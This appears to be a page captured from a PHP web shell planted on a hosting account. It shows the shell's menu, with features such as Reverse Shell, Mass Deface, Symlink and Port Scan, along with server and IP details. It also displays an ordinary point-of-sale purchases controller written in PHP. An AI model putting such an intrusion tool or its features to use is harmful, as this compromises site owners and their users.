Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
vendefacilfranc
/
controllers
/
Viewing: Compras.php
<?php require 'vendor/autoload.php'; use Dompdf\Dompdf; class Compras extends Controller { private $id_usuario, $caja, $id_sucursal; public function __construct() { parent::__construct(); require_once 'controllers/Cajas.php'; $this->caja = new Cajas(); if (empty($_SESSION['id_usuario'])) { header('Location: ' . BASE_URL); exit; } $this->id_usuario = $_SESSION['id_usuario']; $this->id_sucursal = $_SESSION['id_sucursal']; } public function index() { if (!verificar('crear_compras')) { header('Location: ' . BASE_URL . 'admin/permisos'); exit; } $data['title'] = 'Compras'; $data['script'] = 'compras.js'; $data['busqueda'] = 'busqueda.js'; $data['carrito'] = 'posCompra'; $data['modal'] = 'compra.php'; $data['empresa'] = $this->model->getEmpresa($this->id_sucursal); $this->views->getView('compras', 'index', $data); } public function addProduct($idProducto) { if (!empty($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest') { if (is_numeric($idProducto)) { $producto = $this->model->getProducto($idProducto); // Si el producto no es un servicio, requiere lote (fecha de vencimiento) if ((int)$producto['servicio'] === 0) { // Cargar lotes existentes para que el usuario pueda seleccionar uno $lotes = $this->model->getLotesProducto($idProducto, $this->id_sucursal); echo json_encode([ 'requiere_lote' => true, 'producto' => [ 'id' => $producto['id'], 'descripcion' => $producto['descripcion'] ], 'lotes' => $lotes ], JSON_UNESCAPED_UNICODE); die(); } $cantidad = 1; $res = addToCart( 'compras', $idProducto, $producto['descripcion'], $producto['precio_compra'], $cantidad ); echo json_encode($res, JSON_UNESCAPED_UNICODE); die(); } } } public function addProductLote() { if (!empty($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest') { $json = file_get_contents('php://input'); $data = json_decode($json, true); if (is_array($data) && isset($data['id_producto'], $data['fecha_vencimiento'], $data['cantidad'])) { $producto = $this->model->getProducto($data['id_producto']); $res = $this->addToCartLote( 'compras', $data['id_producto'], $producto['descripcion'], $producto['precio_compra'], $data['cantidad'], $data['fecha_vencimiento'] ); echo json_encode($res, JSON_UNESCAPED_UNICODE); } else { echo json_encode(['icono' => 'warning', 'msg' => 'Datos inválidos']); } } die(); } public function listarTbl($table) { $data['productos'] = $_SESSION[$table] ?? []; // Ordenar por timestamp descendente (si existe timestamp) usort($data['productos'], function ($a, $b) { return ($b['timestamp'] ?? 0) <=> ($a['timestamp'] ?? 0); }); $total = 0; foreach ($data['productos'] as $p) { $monto = $p['price'] ?? 1; $cantidad = $p['quantity'] ?? 1; $total += $monto * $cantidad; } $data['total'] = number_format($total, 2, '.', ''); echo json_encode($data, JSON_UNESCAPED_UNICODE); die(); } private function addToCartLote($carrito, $id, $nombre, $precio, $cant, $fecha_vencimiento) { if (!isset($_SESSION[$carrito])) { $_SESSION[$carrito] = []; } $cart = $_SESSION[$carrito]; $lote_id = 0; // En compras generamos un "lote temporal" o simplemente identificamos por fecha $product = [ 'id' => intval($id), 'name' => $nombre, 'price' => (float)$precio, 'quantity' => (float)$cant, 'lote_fecha_vencimiento' => $fecha_vencimiento, 'lote_id' => $lote_id, // 0 indica que es nuevo lote a crear en la compra 'timestamp' => time() ]; // Buscar si ya existe el mismo producto con la misma fecha de vencimiento $found = false; foreach ($cart as &$item) { if (intval($item['id']) === intval($id) && ($item['lote_fecha_vencimiento'] ?? '') === $fecha_vencimiento) { $item['quantity'] += (float)$cant; $found = true; break; } } if (!$found) { $cart[] = $product; } $_SESSION[$carrito] = $cart; return [ 'icono' => 'success', 'msg' => 'Producto agregado con vencimiento.' ]; } public function cambiarPrecio() { if (!empty($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest') { $json = file_get_contents('php://input'); $data = json_decode($json, true); $lote_id = $data['lote_id'] ?? 0; $res = $this->updatePriceLote('compras', $data['id_producto'], $data['item'], $lote_id); echo json_encode($res, JSON_UNESCAPED_UNICODE); } die(); } private function updatePriceLote($carrito, $id, $new_price, $lote_id = 0) { if (!isset($_SESSION[$carrito])) { return ['icono' => 'error', 'msg' => 'El carrito no existe.']; } $cart = &$_SESSION[$carrito]; foreach ($cart as &$product) { if (intval($product['id']) === intval($id) && intval($product['lote_id'] ?? 0) === intval($lote_id)) { $product['price'] = (float)$new_price; break; } } return ['icono' => 'success', 'msg' => 'Precio actualizado.']; } public function cambiarCantidad() { if (!empty($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest') { $json = file_get_contents('php://input'); $data = json_decode($json, true); if (is_array($data) && isset($data['id_producto'], $data['item'])) { $cantidad = max(0.01, (float)$data['item']); $lote_id = $data['lote_id'] ?? 0; $res = $this->updateCantidadLote('compras', $data['id_producto'], $cantidad, $lote_id); echo json_encode($res, JSON_UNESCAPED_UNICODE); } else { echo json_encode(['icono' => 'warning', 'msg' => 'Datos inválidos']); } } die(); } private function updateCantidadLote($carrito, $id, $cantidad, $lote_id = 0) { if (!isset($_SESSION[$carrito])) { return ['icono' => 'error', 'msg' => 'El carrito no existe.']; } $cart = &$_SESSION[$carrito]; foreach ($cart as &$product) { if (intval($product['id']) === intval($id) && intval($product['lote_id'] ?? 0) === intval($lote_id)) { $product['quantity'] = (float)$cantidad; break; } } return ['icono' => 'success', 'msg' => 'Cantidad actualizada.']; } public function eliminarProducto() { if (!empty($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest') { $json = file_get_contents('php://input'); $data = json_decode($json, true); if (is_array($data) && isset($data['id_producto'])) { $lote_id = $data['lote_id'] ?? 0; $res = $this->removeFromCartLote('compras', $data['id_producto'], $lote_id); echo json_encode($res, JSON_UNESCAPED_UNICODE); } else { echo json_encode(['icono' => 'warning', 'msg' => 'Datos inválidos']); } } die(); } private function removeFromCartLote($carrito, $id, $lote_id = 0) { if (!isset($_SESSION[$carrito])) { return ['icono' => 'error', 'msg' => 'El carrito no existe.']; } $cart = $_SESSION[$carrito]; $newCart = []; foreach ($cart as $product) { if (!(intval($product['id']) === intval($id) && intval($product['lote_id'] ?? 0) === intval($lote_id))) { $newCart[] = $product; } } $_SESSION[$carrito] = $newCart; return ['icono' => 'success', 'msg' => 'Producto eliminado.']; } public function historial() { if (!verificar('ver_compras')) { header('Location: ' . BASE_URL . 'admin/permisos'); exit; } $data['title'] = 'Historial compras'; $data['script'] = 'historial-compras.js'; $this->views->getView('compras', 'historial', $data); } public function registrarCompra() { if (verificar('crear_compras')) { $json = file_get_contents('php://input'); $datos = json_decode($json, true); if (!is_array($datos)) { $datos = []; } // 1) NUNCA modifiques el array de sesión directamente $carrito = $_SESSION['compras'] ?? []; $itemsCompra = []; // aquí armamos el array final para guardar $total = 0; if (!empty($carrito)) { $fecha = date('Y-m-d'); $hora = date('H:i:s'); $serie = $datos['serie'] ?? null; $idproveedor = $datos['idProveedor'] ?? null; $metodo = $datos['metodo'] ?? 'CONTADO'; if (empty($idproveedor)) { $res = ['msg' => 'EL PROVEEDOR ES REQUERIDO', 'type' => 'warning']; } elseif (empty($serie)) { $res = ['msg' => 'LA SERIE ES REQUERIDO', 'type' => 'warning']; } else { $moneda = MONEDA; $verificar = $this->model->getCaja($this->id_sucursal); $id_caja = (empty($verificar)) ? 0 : $verificar['id']; // $saldo = $this->caja->getDatos($id_caja); // 2) Construir itemsCompra con claves consistentes foreach ($carrito as $item) { $data = [ 'id' => $item['id'], 'nombre' => $item['name'], 'precio' => (float)$item['price'], 'cantidad' => (float)$item['quantity'], 'lote_fecha_vencimiento' => $item['lote_fecha_vencimiento'] ?? null, 'lote_id' => $item['lote_id'] ?? 0 ]; $itemsCompra[] = $data; $total += ($data['precio'] * $data['cantidad']); } // if ($saldo['saldo'] >= $total) { // 3) Guardar SOLO itemsCompra, no el array de sesión $datosProductos = json_encode($itemsCompra); $empresa = $this->model->getEmpresa($this->id_sucursal); $tasaImpuesto = (!empty($empresa['impuesto']) && is_numeric($empresa['impuesto'])) ? ((float)$empresa['impuesto'] / 100) : 0; $aplicaIva = array_key_exists('aplica_iva', $datos) ? (!empty($datos['aplica_iva']) ? 1 : 0) : 1; $ivaManual = isset($datos['iva_monto']) ? (float)$datos['iva_monto'] : null; if ($ivaManual !== null && $ivaManual < 0) { $ivaManual = 0; } $ivaMonto = $aplicaIva ? (($ivaManual !== null) ? $ivaManual : ($total * $tasaImpuesto)) : 0; $retencionMonto = isset($datos['retencion']) ? (float)$datos['retencion'] : 0; if ($retencionMonto < 0) { $retencionMonto = 0; } $totalPagar = ($total + $ivaMonto) - $retencionMonto; if ($totalPagar < 0) { $totalPagar = 0; } $compra = $this->model->registrarCompra( $datosProductos, $total, $aplicaIva, $ivaMonto, $retencionMonto, $totalPagar, $fecha, $hora, $serie, $moneda, $metodo, $idproveedor, $id_caja, $this->id_usuario, $this->id_sucursal ); if ($compra > 0) { // 4) Actualizar stock y movimientos usando 'cantidad' y $row['id'] foreach ($itemsCompra as $row) { $result = $this->model->getProducto($row['id']); $cantidad = (float)$row['cantidad']; if ($result['servicio'] == 0) { $nuevaCantidad = (float)$result['cantidad'] + $cantidad; $this->model->actualizarStock($nuevaCantidad, $result['id']); // Si tiene fecha de vencimiento o el producto tiene fecha predeterminada, registrar o actualizar lote $fechaLote = !empty($row['lote_fecha_vencimiento']) ? $row['lote_fecha_vencimiento'] : ($result['fecha_vencimiento'] ?? null); if (!empty($fechaLote)) { $this->model->registrarActualizarLote( $row['id'], $this->id_sucursal, $fechaLote, $cantidad ); } } else { // Si es servicio, mantener stock existente $nuevaCantidad = (float)$result['cantidad']; } $movimiento = 'Compra N°: ' . $compra; // OJO: aquí debe ir $row['id'], no $item['id'] $this->model->registrarMovimiento( $movimiento, 'entrada', $cantidad, $nuevaCantidad, $row['id'], $this->id_usuario, $this->id_sucursal ); } if ($metodo === 'CREDITO') { $this->model->registrarCredito($totalPagar, $fecha, $hora, $compra); } unset($_SESSION['compras']); $res = ['msg' => 'COMPRA GENERADA', 'type' => 'success', 'idCompra' => $compra]; } else { $res = ['msg' => 'ERROR AL CREAR COMPRA', 'type' => 'error']; } // } else { // $res = ['msg' => 'SALDO DISPONIBLE: ' . MONEDA . $saldo['saldo'], 'type' => 'warning']; // } } } else { $res = ['msg' => 'CARRITO VACIO', 'type' => 'warning']; } } else { $res = array('msg' => 'NO TIENES PERMISOS', 'type' => 'warning'); } echo json_encode($res); die(); } public function reporte($datos) { ob_start(); $array = explode(',', $datos); $tipo = $array[0]; $idCompra = $array[1]; $data['title'] = 'Reporte'; $data['empresa'] = $this->model->getEmpresa($this->id_sucursal); $data['compra'] = $this->model->getCompra($idCompra); if (!empty($data['compra'])) { $data['compra']['moneda'] = MONEDA; } if (empty($data['compra'])) { echo 'Pagina no Encontrada'; exit; } $logoPath = 'assets/images/logo.png'; if (file_exists($logoPath)) { $data['logo'] = 'data:image/png;base64,' . base64_encode(file_get_contents($logoPath)); } else { $data['logo'] = null; } $this->views->getView('compras', $tipo, $data); $html = ob_get_clean(); $dompdf = new Dompdf(); $options = $dompdf->getOptions(); $options->set('isJavascriptEnabled', true); $options->set('isRemoteEnabled', true); $dompdf->setOptions($options); $dompdf->loadHtml($html); if ($tipo == 'ticked') { //$dompdf->setPaper(array(0, 0, 222, 841), 'portrait'); $dompdf->setPaper(array(0, 0, 200, 410), 'portrait'); } else { $dompdf->setPaper('A4', 'vertical'); } // Render the HTML as PDF $dompdf->render(); // Output the generated PDF to Browser $dompdf->stream('ticked.pdf', array('Attachment' => false)); } public function listar() { $data = []; if (verificar('ver_compras')) { $fechaInicio = !empty($_GET['fechaInicio']) ? $_GET['fechaInicio'] : null; $fechaFin = !empty($_GET['fechaFin']) ? $_GET['fechaFin'] : null; $data = $this->model->getCompras($this->id_sucursal, $fechaInicio, $fechaFin); for ($i = 0; $i < count($data); $i++) { // Subtotal (sin impuestos) $subtotal = (float)$data[$i]['total']; // Determinar IVA $ivaMonto = 0; if (isset($data[$i]['iva_monto']) && (float)$data[$i]['iva_monto'] > 0) { $ivaMonto = (float)$data[$i]['iva_monto']; } elseif (isset($data[$i]['iva_legacy'])) { $ivaMonto = (float)$data[$i]['iva_legacy']; } // Retención $retencionMonto = isset($data[$i]['retencion_monto']) ? (float)$data[$i]['retencion_monto'] : 0; // Total a pagar $totalMostrar = 0; if (!empty($data[$i]['total_pagar']) && (float)$data[$i]['total_pagar'] > 0) { $totalMostrar = (float)$data[$i]['total_pagar']; } elseif (!empty($data[$i]['total_legacy']) && (float)$data[$i]['total_legacy'] > 0) { $totalMostrar = (float)$data[$i]['total_legacy']; } else { $totalMostrar = $subtotal; } $data[$i]['subtotal'] = number_format($subtotal, 2, '.', ''); $data[$i]['iva_display'] = number_format($ivaMonto, 2, '.', ''); $data[$i]['retencion_display'] = number_format($retencionMonto, 2, '.', ''); $data[$i]['total_pagar_display'] = number_format($totalMostrar, 2, '.', ''); if ($data[$i]['estado'] == 1) { $data[$i]['acciones'] = '<div> <a class="btn btn-warning" href="#" onclick="anularCompra(' . $data[$i]['id'] . ')"><i class="fas fa-trash"></i></a> <a class="btn btn-danger" href="#" onclick="verReporte(' . $data[$i]['id'] . ')"><i class="fas fa-file-pdf"></i></a> </div>'; } else { $data[$i]['acciones'] = '<div> <span class="badge bg-info">Anulado</span> <a class="btn btn-danger" href="#" onclick="verReporte(' . $data[$i]['id'] . ')"><i class="fas fa-file-pdf"></i></a> </div>'; } } } echo json_encode($data); die(); } public function anular($idCompra) { if (verificar('anular_compras')) { if (isset($_GET) && is_numeric($idCompra)) { $data = $this->model->anular($idCompra); if ($data == 1) { $resultCompra = $this->model->getCompra($idCompra); $compraProducto = json_decode($resultCompra['productos'], true); foreach ($compraProducto as $producto) { $result = $this->model->getProducto($producto['id']); $nuevaCantidad = $result['cantidad'] - $producto['cantidad']; $this->model->actualizarStock($nuevaCantidad, $producto['id']); //movimientos $movimiento = 'Devolución Compra N°: ' . $idCompra; $this->model->registrarMovimiento($movimiento, 'salida', $producto['cantidad'], $nuevaCantidad, $producto['id'], $this->id_usuario, $this->id_sucursal); } $res = array('msg' => 'COMPRA ANULADO', 'type' => 'success'); } else { $res = array('msg' => 'ERROR AL ANULAR', 'type' => 'error'); } } else { $res = array('msg' => 'ERROR DESCONOCIDO', 'type' => 'error'); } } else { $res = array('msg' => 'NO TIENES PERMISOS', 'type' => 'error'); } echo json_encode($res); die(); } function generate_numbers($start, $count, $digits) { $result = array(); for ($n = $start; $n < $start + $count; $n++) { $result[] = str_pad($n, $digits, "0", STR_PAD_LEFT); } return $result; } }
Coded With 💗 by
0x6ick